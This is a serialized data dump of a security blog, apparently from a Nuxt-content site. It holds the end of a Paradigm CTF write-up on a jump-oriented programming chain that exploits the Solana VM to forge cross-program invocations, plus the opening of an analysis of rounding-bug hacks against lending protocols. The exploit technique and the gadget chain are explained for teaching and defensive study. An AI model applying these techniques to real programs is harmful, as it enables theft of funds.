79a1c8ff00000000",{"type":24,"tag":83,"props":44821,"children":44822},{"style":137},[44823],{"type":29,"value":43844},{"type":24,"tag":83,"props":44825,"children":44826},{"style":137},[44827],{"type":29,"value":44138},{"type":24,"tag":83,"props":44829,"children":44830},{"style":107},[44831],{"type":29,"value":43854},{"type":24,"tag":83,"props":44833,"children":44834},{"style":137},[44835],{"type":29,"value":43859},{"type":24,"tag":83,"props":44837,"children":44838},{"style":143},[44839],{"type":29,"value":4072},{"type":24,"tag":83,"props":44841,"children":44842},{"style":245},[44843],{"type":29,"value":44844},"56",{"type":24,"tag":83,"props":44846,"children":44847},{"style":107},[44848],{"type":29,"value":43873},{"type":24,"tag":83,"props":44850,"children":44851},{"style":137},[44852],{"type":29,"value":44853},"var_38",{"type":24,"tag":83,"props":44855,"children":44856},{"style":107},[44857],{"type":29,"value":464},{"type":24,"tag":83,"props":44859,"children":44860},{"class":85,"line":8961},[44861,44866,44870,44874,44878,44882],{"type":24,"tag":83,"props":44862,"children":44863},{"style":137},[44864],{"type":29,"value":44865},"100001c58",{"type":24,"tag":83,"props":44867,"children":44868},{"style":137},[44869],{"type":29,"value":44657},{"type":24,"tag":83,"props":44871,"children":44872},{"style":137},[44873],{"type":29,"value":44133},{"type":24,"tag":83,"props":44875,"children":44876},{"style":137},[44877],{"type":29,"value":43904},{"type":24,"tag":83,"props":44879,"children":44880},{"style":107},[44881],{"type":29,"value":568},{"type":24,"tag":83,"props":44883,"children":44884},{"style":245},[44885],{"type":29,"value":44674},{"type":24,"tag":83,"props":44887,"children":44888},{"class":85,"line":23248},[44889,44894,44899,44903],{"type":24,"tag":83,"props":44890,"children":44891},{"style":137},[44892],{"type":29,"value":44893},"100001c60",{"type":24,"tag":83,"props":44895,"children":44896},{"style":137},[44897],{"type":29,"value":44898},"  85100000fefdffff",{"type":24,"tag":83,"props":44900,"children":44901},{"style":137},[44902],{"type":29,"value":44055},{"type":24,"tag":83,"props":44904,"children":44905},{"style":137},[44906],{"type":29,"value":44696},{"type":24,"tag":83,"props":44908,"children":44909},{"class":85,"line":23283},[44910],{"type":24,"tag":83,"props":44911,"children":44912},{"emptyLinePlaceholder":16},[44913],{"type":29,"value":3422},{"type":24,"tag":83,"props":44915,"children":44916},{"class":85,"line":23291},[44917,44922,44927,44932,44937,44942],{"type":24,"tag":83,"props":44918,"children":44919},{"style":137},[44920],{"type":29,"value":44921},"100001c68",{"type":24,"tag":83,"props":44923,"children":44924},{"style":245},[44925],{"type":29,"value":44926},"  9500000000000000",{"type":24,"tag":83,"props":44928,"children":44929},{"style":137},[44930],{"type":29,"value":44931},"   exit",{"type":24,"tag":83,"props":44933,"children":44934},{"style":107},[44935],{"type":29,"value":44936}," {",{"type":24,"tag":83,"props":44938,"children":44939},{"style":137},[44940],{"type":29,"value":44941},"__return_addr",{"type":24,"tag":83,"props":44943,"children":44944},{"style":107},[44945],{"type":29,"value":464},{"type":24,"tag":25,"props":44947,"children":44948},{},[44949,44951,44957],{"type":29,"value":44950},"Which, assuming that ",{"type":24,"tag":32,"props":44952,"children":44954},{"className":44953},[],[44955],{"type":29,"value":44956},"sol_invoke_signed_rust",{"type":29,"value":44958}," returns 0, is doing the following:",{"type":24,"tag":63,"props":44960,"children":44961},{},[44962,44971,44980],{"type":24,"tag":67,"props":44963,"children":44964},{},[44965],{"type":24,"tag":32,"props":44966,"children":44968},{"className":44967},[],[44969],{"type":29,"value":44970},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":67,"props":44972,"children":44973},{},[44974],{"type":24,"tag":32,"props":44975,"children":44977},{"className":44976},[],[44978],{"type":29,"value":44979},"*[r10-120] = 0x18",{"type":24,"tag":67,"props":44981,"children":44982},{},[44983,44985,44991,44993,45000],{"type":29,"value":44984},"Calls ",{"type":24,"tag":32,"props":44986,"children":44988},{"className":44987},[],[44989],{"type":29,"value":44990},"__rust_dealloc",{"type":29,"value":44992},", which in default circumstances is a ",{"type":24,"tag":2033,"props":44994,"children":44997},{"href":44995,"rel":44996},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[2037],[44998],{"type":29,"value":44999},"NOP",{"type":29,"value":161},{"type":24,"tag":25,"props":45002,"children":45003},{},[45004],{"type":29,"value":45005},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":45007,"children":45008},{},[45009],{"type":29,"value":45010},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":45012,"children":45013},{},[45014,45016,45023],{"type":29,"value":45015},"Looking at the ",{"type":24,"tag":2033,"props":45017,"children":45020},{"href":45018,"rel":45019},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[2037],[45021],{"type":29,"value":45022},"definition",{"type":29,"value":45024},", it's not crystal clear what the parameters are:",{"type":24,"tag":73,"props":45026,"children":45028},{"className":2725,"code":45027,"language":2724,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[45029],{"type":24,"tag":32,"props":45030,"children":45031},{"__ignoreMap":7},[45032],{"type":24,"tag":83,"props":45033,"children":45034},{"class":85,"line":86},[45035,45039,45044,45048,45053,45057,45061,45065,45069,45073,45078,45082,45086,45090,45094,45098,45103,45107,45111,45115,45120,45124,45128,45132,45136,45140,45145,45149,45153,45157,45161],{"type":24,"tag":83,"props":45036,"children":45037},{"style":90},[45038],{"type":29,"value":20007},{"type":24,"tag":83,"props":45040,"children":45041},{"style":101},[45042],{"type":29,"value":45043}," sol_invoke_signed_rust",{"type":24,"tag":83,"props":45045,"children":45046},{"style":107},[45047],{"type":29,"value":558},{"type":24,"tag":83,"props":45049,"children":45050},{"style":137},[45051],{"type":29,"value":45052},"instruction_addr",{"type":24,"tag":83,"props":45054,"children":45055},{"style":143},[45056],{"type":29,"value":195},{"type":24,"tag":83,"props":45058,"children":45059},{"style":143},[45060],{"type":29,"value":9563},{"type":24,"tag":83,"props":45062,"children":45063},{"style":90},[45064],{"type":29,"value":9401},{"type":24,"tag":83,"props":45066,"children":45067},{"style":3163},[45068],{"type":29,"value":14377},{"type":24,"tag":83,"props":45070,"children":45071},{"style":107},[45072],{"type":29,"value":568},{"type":24,"tag":83,"props":45074,"children":45075},{"style":137},[45076],{"type":29,"value":45077},"account_infos_addr",{"type":24,"tag":83,"props":45079,"children":45080},{"style":143},[45081],{"type":29,"value":195},{"type":24,"tag":83,"props":45083,"children":45084},{"style":143},[45085],{"type":29,"value":9563},{"type":24,"tag":83,"props":45087,"children":45088},{"style":90},[45089],{"type":29,"value":9401},{"type":24,"tag":83,"props":45091,"children":45092},{"style":3163},[45093],{"type":29,"value":14377},{"type":24,"tag":83,"props":45095,"children":45096},{"style":107},[45097],{"type":29,"value":568},{"type":24,"tag":83,"props":45099,"children":45100},{"style":137},[45101],{"type":29,"value":45102},"account_infos_len",{"type":24,"tag":83,"props":45104,"children":45105},{"style":143},[45106],{"type":29,"value":195},{"type":24,"tag":83,"props":45108,"children":45109},{"style":3163},[45110],{"type":29,"value":5606},{"type":24,"tag":83,"props":45112,"children":45113},{"style":107},[45114],{"type":29,"value":568},{"type":24,"tag":83,"props":45116,"children":45117},{"style":137},[45118],{"type":29,"value":45119},"signers_seeds_addr",{"type":24,"tag":83,"props":45121,"children":45122},{"style":143},[45123],{"type":29,"value":195},{"type":24,"tag":83,"props":45125,"children":45126},{"style":143},[45127],{"type":29,"value":9563},{"type":24,"tag":83,"props":45129,"children":45130},{"style":90},[45131],{"type":29,"value":9401},{"type":24,"tag":83,"props":45133,"children":45134},{"style":3163},[45135],{"type":29,"value":14377},{"type":24,"tag":83,"props":45137,"children":45138},{"style":107},[45139],{"type":29,"value":568},{"type":24,"tag":83,"props":45141,"children":45142},{"style":137},[45143],{"type":29,"value":45144},"signers_seeds_len",{"type":24,"tag":83,"props":45146,"children":45147},{"style":143},[45148],{"type":29,"value":195},{"type":24,"tag":83,"props":45150,"children":45151},{"style":3163},[45152],{"type":29,"value":5606},{"type":24,"tag":83,"props":45154,"children":45155},{"style":107},[45156],{"type":29,"value":633},{"type":24,"tag":83,"props":45158,"children":45159},{"style":143},[45160],{"type":29,"value":13502},{"type":24,"tag":83,"props":45162,"children":45163},{"style":3163},[45164],{"type":29,"value":12942},{"type":24,"tag":25,"props":45166,"children":45167},{},[45168,45170,45175,45177,45184],{"type":29,"value":45169},"The source of ",{"type":24,"tag":2033,"props":45171,"children":45173},{"href":45172},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[45174],{"type":29,"value":43785},{"type":29,"value":45176}," helps a lot, but looking at the actual ",{"type":24,"tag":2033,"props":45178,"children":45181},{"href":45179,"rel":45180},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[2037],[45182],{"type":29,"value":45183},"implementation",{"type":29,"value":45185}," provides more clarity:",{"type":24,"tag":16422,"props":45187,"children":45188},{},[45189],{"type":24,"tag":67,"props":45190,"children":45191},{},[45192,45197,45199,45206],{"type":24,"tag":32,"props":45193,"children":45195},{"className":45194},[],[45196],{"type":29,"value":45052},{"type":29,"value":45198}," points to a ",{"type":24,"tag":2033,"props":45200,"children":45203},{"href":45201,"rel":45202},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[2037],[45204],{"type":29,"value":45205},"StableInstruction",{"type":29,"value":195},{"type":24,"tag":25,"props":45208,"children":45209},{},[45210],{"type":24,"tag":2510,"props":45211,"children":45213},{"alt":45205,"src":45212},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":16422,"props":45215,"children":45216},{},[45217,45242],{"type":24,"tag":67,"props":45218,"children":45219},{},[45220,45225,45227,45232,45234,45241],{"type":24,"tag":32,"props":45221,"children":45223},{"className":45222},[],[45224],{"type":29,"value":45077},{"type":29,"value":45226}," points to a slice of ",{"type":24,"tag":32,"props":45228,"children":45230},{"className":45229},[],[45231],{"type":29,"value":45102},{"type":29,"value":45233},"  ",{"type":24,"tag":2033,"props":45235,"children":45238},{"href":45236,"rel":45237},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[2037],[45239],{"type":29,"value":45240},"AccountInfos",{"type":29,"value":161},{"type":24,"tag":67,"props":45243,"children":45244},{},[45245,45250,45252,45257,45259,45264],{"type":24,"tag":32,"props":45246,"children":45248},{"className":45247},[],[45249],{"type":29,"value":45119},{"type":29,"value":45251}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":32,"props":45253,"children":45255},{"className":45254},[],[45256],{"type":29,"value":45144},{"type":29,"value":45258},", containing slices of ",{"type":24,"tag":32,"props":45260,"children":45262},{"className":45261},[],[45263],{"type":29,"value":3166},{"type":29,"value":161},{"type":24,"tag":25,"props":45266,"children":45267},{},[45268],{"type":24,"tag":2510,"props":45269,"children":45272},{"alt":45270,"src":45271},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":45274,"children":45275},{},[45276,45278,45283],{"type":29,"value":45277},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":2655,"props":45279,"children":45280},{},[45281],{"type":29,"value":45282},"future call frames",{"type":29,"value":161},{"type":24,"tag":25,"props":45285,"children":45286},{},[45287,45289,45296],{"type":29,"value":45288},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":2033,"props":45290,"children":45293},{"href":45291,"rel":45292},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[2037],[45294],{"type":29,"value":45295},"reference solution can be found here",{"type":29,"value":161},{"type":24,"tag":25,"props":45298,"children":45299},{},[45300],{"type":29,"value":45301},"Here's a visualization of the final JOP chain.",{"type":24,"tag":73,"props":45303,"children":45305},{"className":43667,"code":45304,"language":43669,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[45306],{"type":24,"tag":32,"props":45307,"children":45308},{"__ignoreMap":7},[45309,45317,45324,45331,45339,45346,45354,45362,45370,45378,45386,45394,45402,45410,45418],{"type":24,"tag":83,"props":45310,"children":45311},{"class":85,"line":86},[45312],{"type":24,"tag":83,"props":45313,"children":45314},{},[45315],{"type":29,"value":45316},"graph BT\n",{"type":24,"tag":83,"props":45318,"children":45319},{"class":85,"line":113},[45320],{"type":24,"tag":83,"props":45321,"children":45322},{},[45323],{"type":29,"value":43689},{"type":24,"tag":83,"props":45325,"children":45326},{"class":85,"line":128},[45327],{"type":24,"tag":83,"props":45328,"children":45329},{},[45330],{"type":29,"value":43697},{"type":24,"tag":83,"props":45332,"children":45333},{"class":85,"line":183},[45334],{"type":24,"tag":83,"props":45335,"children":45336},{},[45337],{"type":29,"value":45338},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":83,"props":45340,"children":45341},{"class":85,"line":203},[45342],{"type":24,"tag":83,"props":45343,"children":45344},{},[45345],{"type":29,"value":43713},{"type":24,"tag":83,"props":45347,"children":45348},{"class":85,"line":212},[45349],{"type":24,"tag":83,"props":45350,"children":45351},{},[45352],{"type":29,"value":45353},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":83,"props":45355,"children":45356},{"class":85,"line":256},[45357],{"type":24,"tag":83,"props":45358,"children":45359},{},[45360],{"type":29,"value":45361},"    E --> G[4: process]\n",{"type":24,"tag":83,"props":45363,"children":45364},{"class":85,"line":270},[45365],{"type":24,"tag":83,"props":45366,"children":45367},{},[45368],{"type":29,"value":45369},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":83,"props":45371,"children":45372},{"class":85,"line":302},[45373],{"type":24,"tag":83,"props":45374,"children":45375},{},[45376],{"type":29,"value":45377},"    G --> I[5: process]\n",{"type":24,"tag":83,"props":45379,"children":45380},{"class":85,"line":324},[45381],{"type":24,"tag":83,"props":45382,"children":45383},{},[45384],{"type":29,"value":45385},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":83,"props":45387,"children":45388},{"class":85,"line":345},[45389],{"type":24,"tag":83,"props":45390,"children":45391},{},[45392],{"type":29,"value":45393},"    I --> K[6: process]\n",{"type":24,"tag":83,"props":45395,"children":45396},{"class":85,"line":358},[45397],{"type":24,"tag":83,"props":45398,"children":45399},{},[45400],{"type":29,"value":45401},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":83,"props":45403,"children":45404},{"class":85,"line":367},[45405],{"type":24,"tag":83,"props":45406,"children":45407},{},[45408],{"type":29,"value":45409},"    K --> N[7: process]\n",{"type":24,"tag":83,"props":45411,"children":45412},{"class":85,"line":406},[45413],{"type":24,"tag":83,"props":45414,"children":45415},{},[45416],{"type":29,"value":45417},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":83,"props":45419,"children":45420},{"class":85,"line":427},[45421],{"type":24,"tag":83,"props":45422,"children":45423},{},[45424],{"type":29,"value":45425},"    N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":45427,"children":45428},{},[45429,45431,45437],{"type":29,"value":45430},"Small note: ",{"type":24,"tag":32,"props":45432,"children":45434},{"className":45433},[],[45435],{"type":29,"value":45436},"target_r10",{"type":29,"value":45438}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":73,"props":45440,"children":45442},{"className":2725,"code":45441,"language":2724,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[45443],{"type":24,"tag":32,"props":45444,"children":45445},{"__ignoreMap":7},[45446,45491,45526,45533],{"type":24,"tag":83,"props":45447,"children":45448},{"class":85,"line":86},[45449,45453,45458,45462,45467,45471,45475,45479,45483,45487],{"type":24,"tag":83,"props":45450,"children":45451},{"style":90},[45452],{"type":29,"value":20007},{"type":24,"tag":83,"props":45454,"children":45455},{"style":101},[45456],{"type":29,"value":45457}," call_frame_addr",{"type":24,"tag":83,"props":45459,"children":45460},{"style":107},[45461],{"type":29,"value":558},{"type":24,"tag":83,"props":45463,"children":45464},{"style":137},[45465],{"type":29,"value":45466},"depth",{"type":24,"tag":83,"props":45468,"children":45469},{"style":143},[45470],{"type":29,"value":195},{"type":24,"tag":83,"props":45472,"children":45473},{"style":3163},[45474],{"type":29,"value":5606},{"type":24,"tag":83,"props":45476,"children":45477},{"style":107},[45478],{"type":29,"value":633},{"type":24,"tag":83,"props":45480,"children":45481},{"style":143},[45482],{"type":29,"value":13502},{"type":24,"tag":83,"props":45484,"children":45485},{"style":3163},[45486],{"type":29,"value":5606},{"type":24,"tag":83,"props":45488,"children":45489},{"style":107},[45490],{"type":29,"value":125},{"type":24,"tag":83,"props":45492,"children":45493},{"class":85,"line":113},[45494,45499,45503,45508,45512,45517,45521],{"type":24,"tag":83,"props":45495,"children":45496},{"style":245},[45497],{"type":29,"value":45498},"    0x200000000",{"type":24,"tag":83,"props":45500,"children":45501},{"style":143},[45502],{"type":29,"value":8649},{"type":24,"tag":83,"props":45504,"children":45505},{"style":245},[45506],{"type":29,"value":45507}," 0x2000",{"type":24,"tag":83,"props":45509,"children":45510},{"style":143},[45511],{"type":29,"value":9563},{"type":24,"tag":83,"props":45513,"children":45514},{"style":137},[45515],{"type":29,"value":45516}," depth",{"type":24,"tag":83,"props":45518,"children":45519},{"style":143},[45520],{"type":29,"value":8649},{"type":24,"tag":83,"props":45522,"children":45523},{"style":245},[45524],{"type":29,"value":45525}," 0x1000\n",{"type":24,"tag":83,"props":45527,"children":45528},{"class":85,"line":128},[45529],{"type":24,"tag":83,"props":45530,"children":45531},{"style":107},[45532],{"type":29,"value":464},{"type":24,"tag":83,"props":45534,"children":45535},{"class":85,"line":183},[45536],{"type":24,"tag":83,"props":45537,"children":45538},{"style":2735},[45539],{"type":29,"value":45540},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":51,"props":45542,"children":45543},{"id":28683},[45544],{"type":29,"value":18686},{"type":24,"tag":25,"props":45546,"children":45547},{},[45548,45550,45557],{"type":29,"value":45549},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":2033,"props":45551,"children":45554},{"href":45552,"rel":45553},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[2037],[45555],{"type":29,"value":45556},"they do exist",{"type":29,"value":161},{"type":24,"tag":25,"props":45559,"children":45560},{},[45561],{"type":29,"value":45562},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":45564,"children":45565},{},[45566,45568,45573],{"type":29,"value":45567},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":2655,"props":45569,"children":45570},{},[45571],{"type":29,"value":45572},"entire",{"type":29,"value":45574}," runtime.",{"type":24,"tag":2584,"props":45576,"children":45577},{},[45578],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":45580},[45581,45585,45586,45589],{"id":18695,"depth":113,"text":18698,"children":45582},[45583,45584],{"id":40257,"depth":128,"text":40260},{"id":41575,"depth":128,"text":41578},{"id":42814,"depth":113,"text":42817},{"id":43649,"depth":113,"text":43652,"children":45587},[45588],{"id":43763,"depth":128,"text":43766},{"id":28683,"depth":113,"text":18686},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45594,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45595,"description":45596,"author":45597,"image":45598,"date":45600,"isFeatured":16,"onBlogPage":16,"body":45601,"_type":2606,"_id":46746,"_source":2608,"_file":46747,"_stem":46748,"_extension":2611},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[5465],{"src":45599},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":45602,"toc":46735},[45603,45607,45635,45640,45653,45658,45664,45669,45674,45679,45684,45697,45709,45729,45749,45754,45759,45777,45783,45788,45794,45808,45821,45826,45832,45846,45851,45873,46106,46111,46116,46129,46369,46379,46384,46390,46395,46400,46433,46438,46449,46455,46460,46474,46601,46615,46691,46696,46707,46712,46717,46721,46726,46731],{"type":24,"tag":51,"props":45604,"children":45605},{"id":28766},[45606],{"type":29,"value":28769},{"type":24,"tag":25,"props":45608,"children":45609},{},[45610,45612,45619,45620,45627,45629,45634],{"type":29,"value":45611},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":2033,"props":45613,"children":45616},{"href":45614,"rel":45615},"https://neodyme.io/de/blog/lending_disclosure",[2037],[45617],{"type":29,"value":45618},"fast",{"type":29,"value":568},{"type":24,"tag":2033,"props":45621,"children":45624},{"href":45622,"rel":45623},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[2037],[45625],{"type":29,"value":45626},"cheap",{"type":29,"value":45628}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":2655,"props":45630,"children":45631},{},[45632],{"type":29,"value":45633},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":161},{"type":24,"tag":25,"props":45636,"children":45637},{},[45638],{"type":29,"value":45639},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":63,"props":45641,"children":45642},{},[45643,45648],{"type":24,"tag":67,"props":45644,"children":45645},{},[45646],{"type":29,"value":45647},"Inflate share value (token to share conversion rate)",{"type":24,"tag":67,"props":45649,"children":45650},{},[45651],{"type":29,"value":45652},"Exploit rounding bug",{"type":24,"tag":25,"props":45654,"children":45655},{},[45656],{"type":29,"value":45657},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":51,"props":45659,"children":45661},{"id":45660},"model",[45662],{"type":29,"value":45663},"Model",{"type":24,"tag":25,"props":45665,"children":45666},{},[45667],{"type":29,"value":45668},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":45670,"children":45671},{},[45672],{"type":29,"value":45673},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":45675,"children":45676},{},[45677],{"type":29,"value":45678},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":45680,"children":45681},{},[45682],{"type":29,"value":45683},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":45685,"children":45686},{},[45687,45689,45695],{"type":29,"value":45688},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":32,"props":45690,"children":45692},{"className":45691},[],[45693],{"type":29,"value":45694},"1000:1000",{"type":29,"value":45696}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":45698,"children":45699},{},[45700,45702,45708],{"type":29,"value":45701},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":32,"props":45703,"children":45705},{"className":45704},[],[45706],{"type":29,"value":45707},"1001:1000",{"type":29,"value":161},{"type":24,"tag":25,"props":45710,"children":45711},{},[45712,45714,45720,45722,45727],{"type":29,"value":45713},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":32,"props":45715,"children":45717},{"className":45716},[],[45718],{"type":29,"value":45719},"1001/1000*999 = 999.999",{"type":29,"value":45721},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":2655,"props":45723,"children":45724},{},[45725],{"type":29,"value":45726},"down",{"type":29,"value":45728}," against the user.",{"type":24,"tag":25,"props":45730,"children":45731},{},[45732,45734,45740,45742,45748],{"type":29,"value":45733},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":32,"props":45735,"children":45737},{"className":45736},[],[45738],{"type":29,"value":45739},"2:1",{"type":29,"value":45741},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":32,"props":45743,"children":45745},{"className":45744},[],[45746],{"type":29,"value":45747},"3:1",{"type":29,"value":161},{"type":24,"tag":25,"props":45750,"children":45751},{},[45752],{"type":29,"value":45753},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":45755,"children":45756},{},[45757],{"type":29,"value":45758},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":63,"props":45760,"children":45761},{},[45762,45767,45772],{"type":24,"tag":67,"props":45763,"children":45764},{},[45765],{"type":29,"value":45766},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":67,"props":45768,"children":45769},{},[45770],{"type":29,"value":45771},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":67,"props":45773,"children":45774},{},[45775],{"type":29,"value":45776},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":51,"props":45778,"children":45780},{"id":45779},"decisions",[45781],{"type":29,"value":45782},"Decisions",{"type":24,"tag":25,"props":45784,"children":45785},{},[45786],{"type":29,"value":45787},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":1818,"props":45789,"children":45791},{"id":45790},"radiant-capital",[45792],{"type":29,"value":45793},"Radiant Capital",{"type":24,"tag":25,"props":45795,"children":45796},{},[45797,45799,45806],{"type":29,"value":45798},"Radiant Capital was ",{"type":24,"tag":2033,"props":45800,"children":45803},{"href":45801,"rel":45802},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[2037],[45804],{"type":29,"value":45805},"hacked on Jan 2nd",{"type":29,"value":45807}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":45809,"children":45810},{},[45811,45813,45820],{"type":29,"value":45812},"The exploit is relatively straightforward and ",{"type":24,"tag":2033,"props":45814,"children":45817},{"href":45815,"rel":45816},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[2037],[45818],{"type":29,"value":45819},"has already been covered previously",{"type":29,"value":161},{"type":24,"tag":25,"props":45822,"children":45823},{},[45824],{"type":29,"value":45825},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":1818,"props":45827,"children":45829},{"id":45828},"wise-lending",[45830],{"type":29,"value":45831},"Wise Lending",{"type":24,"tag":25,"props":45833,"children":45834},{},[45835,45837,45844],{"type":29,"value":45836},"Wise Lending was ",{"type":24,"tag":2033,"props":45838,"children":45841},{"href":45839,"rel":45840},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[2037],[45842],{"type":29,"value":45843},"hacked on January 13th",{"type":29,"value":45845}," for just under $460,000.",{"type":24,"tag":25,"props":45847,"children":45848},{},[45849],{"type":29,"value":45850},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":45852,"children":45853},{},[45854,45856,45863,45865,45872],{"type":29,"value":45855},"This is ",{"type":24,"tag":2033,"props":45857,"children":45860},{"href":45858,"rel":45859},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[2037],[45861],{"type":29,"value":45862},"the code responsible",{"type":29,"value":45864}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":2033,"props":45866,"children":45869},{"href":45867,"rel":45868},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[2037],[45870],{"type":29,"value":45871},"no way to atomically self-bankrupt",{"type":29,"value":161},{"type":24,"tag":73,"props":45874,"children":45876},{"className":4220,"code":45875,"language":4219,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert 